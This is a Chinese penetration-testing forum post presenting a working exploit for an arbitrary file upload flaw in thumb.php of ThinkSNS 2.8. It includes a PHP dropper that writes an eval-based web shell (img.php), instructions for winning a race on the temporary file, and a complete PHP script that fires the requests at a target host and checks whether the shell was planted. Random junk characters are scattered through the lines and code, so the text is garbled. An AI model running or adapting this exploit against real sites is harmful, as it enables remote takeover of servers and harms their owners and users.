中国网络渗透测试联盟

标题: Thinksns2.8文件上传漏洞利用exp [打印本页]

作者: admin    时间: 2013-2-4 16:12
标题: Thinksns2.8文件上传漏洞利用exp
漏洞版本
! |, O5 h* a1 r, L( _存在漏洞的版本为:最新的2.8稳定版。(其它版本没测试过)5 ~. u. x6 R' Q- }5 V% I) P: G
漏洞文件1 V/ d. F$ E! C
存在漏洞的文件为:thumb.php9 O! n  E' S+ J! C: s
作者:韦鲲鹏
, y/ b6 ]; E4 p1、        准备如下PHP文件并上传到服务器(自己的)。+ m6 _4 @0 {1 X8 H1 G4 _7 q
文件内容如下:9 U* u. q1 a' C% C4 P. l
<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>
) {8 ?4 ?) W# E5 y2、        计算出临时的文件名:6 Q# `: I4 E- v- T" u5 N& ^! l
这里我们可以看文件的99行(刚刚是不是没注意呀!)。
. @) r% q' m8 X9 I. L  A
& P1 q6 z2 r- V) g& ?6 S1 l7 N3、        上传临时文件。$ Q- |8 g+ w2 K6 _+ Y  L6 N- ?
4、        访问临时文件。
$ [( e1 W& y$ ?/ j但是这里有个问题,PHP脚本执行的速度是非常快的,如果手工来执行第三和第四步的话,那需要的反应速度该多快呀!所以必须写一个工具来代替人来提交数 据,而且,为了增加第三步的执行时间,为第四步争取时间,我们需要给第一步所准备的PHP填充内容,经过测试,文件大小为300KB时成功率最高。(太小 时间太短,太大可能传不上去。)) m6 R: [& U- Z% W' c/ [0 s$ {
Exploit文件内容如下:(这个我就不详细解释了)# n. v* x6 I* X% [' t
<?php
4 ^* A, @$ f, c$ c# Werror_reporting(0);- D, Z; G9 W8 h9 i- |6 Q
set_time_limit(0);4 K% G" A! j/ ?( e# U- V
ini_set(“default_socket_timeout”, 5);
8 G4 \) A0 s* g0 f% `function http_send($host, $port, $headers) {5 B1 a+ c4 O& e/ L% A
$fp = fsockopen($host, $port);
; N! K* a9 [& |: m3 mif (!$fp) die(‘Connection -> fail’);
, ~" ^. S, P" y" R0 d& C- sfputs($fp, $headers);
, R1 D( b" M1 E+ y1 rreturn $fp;
$ B8 {8 n6 n, ~0 R. r; n$ `}! O$ P# h7 W+ O& G9 _: `' M7 |
function http_recv($fp) {
- u4 @, b4 P8 ^8 s. b  v$ret=”";9 g; ~2 |, L& ^; l/ s
while (!feof($fp))
9 W0 @- F/ Y( f# l$ret.= fgets($fp, 1024);
3 z; U" ^1 e2 ^: r) M8 e" Qfclose($fp);8 K. B2 e( V& Q/ ~0 b& T' c
return $ret;
; }4 Y6 y: J4 a7 K6 v: L}% V# G2 W+ W1 j+ g9 b
print “\n#  ThinkSns Arbitrary File Upload   #\n”;
+ D1 T3 b3 z. xprint “# Discovered by 韦鲲鹏 #\n\n”;! ^0 Z' B  z  Z
if ($argc < 4) {0 v  M. T: a& b7 w1 e# U
print “Usage:   php <host> <path> <romote_url>\n”;& _4 ~, I" w7 x1 c4 y4 R, g
print “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;
* G$ b+ R6 P$ u) z/ a4 Adie();6 q, k3 A' A8 i8 G
}: c. ^) n" R0 v+ i5 ^4 l4 N) v: H) w
$host = $argv[1];8 z# P* u! v# D  E9 `. x
$path = $argv[2];9 j0 Z5 \% g6 |$ C
$url = $argv[3];
* v: V; x8 Q6 g- r* L- z' f$ \. k$i=0;2 {8 b+ L: b# r6 W
//上传数据包
% x: h& h7 X) ^! n8 |: W8 v1 E, ?$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;
! g" \: J% a6 D: `! @$headers_up .= “Host: “.$host.”\r\n”;
4 y4 Y( d/ P/ f4 q- d0 F$headers_up .= “Connection: close\r\n\r\n”;
8 s) d8 R7 x8 L; X! D0 Secho $headers_up;% S3 c. _+ b; j
//临时文件访问数据包/ Y' f) D5 ~2 {0 b, `/ Q
$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;
: H# |1 s- w) J! z3 ]+ ~$headers .= “Host: “.$host.”\r\n”;
7 j: ]- r6 c4 g$ `0 O6 N/ q$headers .= “Connection: close\r\n\r\n”;6 f) H0 [0 K& V# i2 @( b
echo $headers;" h8 y5 Z: e" l5 G! W% r
while(++$i<10) {9 [+ y: F/ h' M: g; H
fclose(http_send($host, 80, $headers));5 K7 g# M- C0 H/ z
}
1 Y$ k- T7 u7 I. B% P# m) [1 B6 bfclose(http_send($host, 80, $headers_up));0 Z4 y0 K3 }/ r& Y
while(++$i<50) {# t# ?) B% i0 M. T
fclose(http_send($host, 80, $headers));: A  Z2 S# p$ ~/ P- `
}
1 E  T1 d; ?; z9 M" \, ^; _" M" I$ h$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;
, @$ O- ?# x4 r% P$ X* u* U$headers .= “Host: “.$host.”\r\n”;
" J  [) a5 v# Q# |8 d2 B9 r5 V( X0 T$headers .= “Connection: close\r\n\r\n”;. G$ B8 }  d3 B* x& D" F" ?' Y
$res=http_recv(http_send($host, 80, $headers));
: B; m# o7 w, z  D. r; p$ H! Wif(preg_match(‘/200 OK/’,$res)) {9 n) C+ ]* y  }
print “Success!\n\n”;+ d# ^( l* t) k# w5 c9 Y
} else {
* W5 w) P6 ~( h2 I  Gprint “Fail!\n\n”;& d$ W: D. H! f: z$ `
}3 _. u8 H* w3 r3 S* d2 Q
?>
* {6 n2 a8 B1 M( S




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2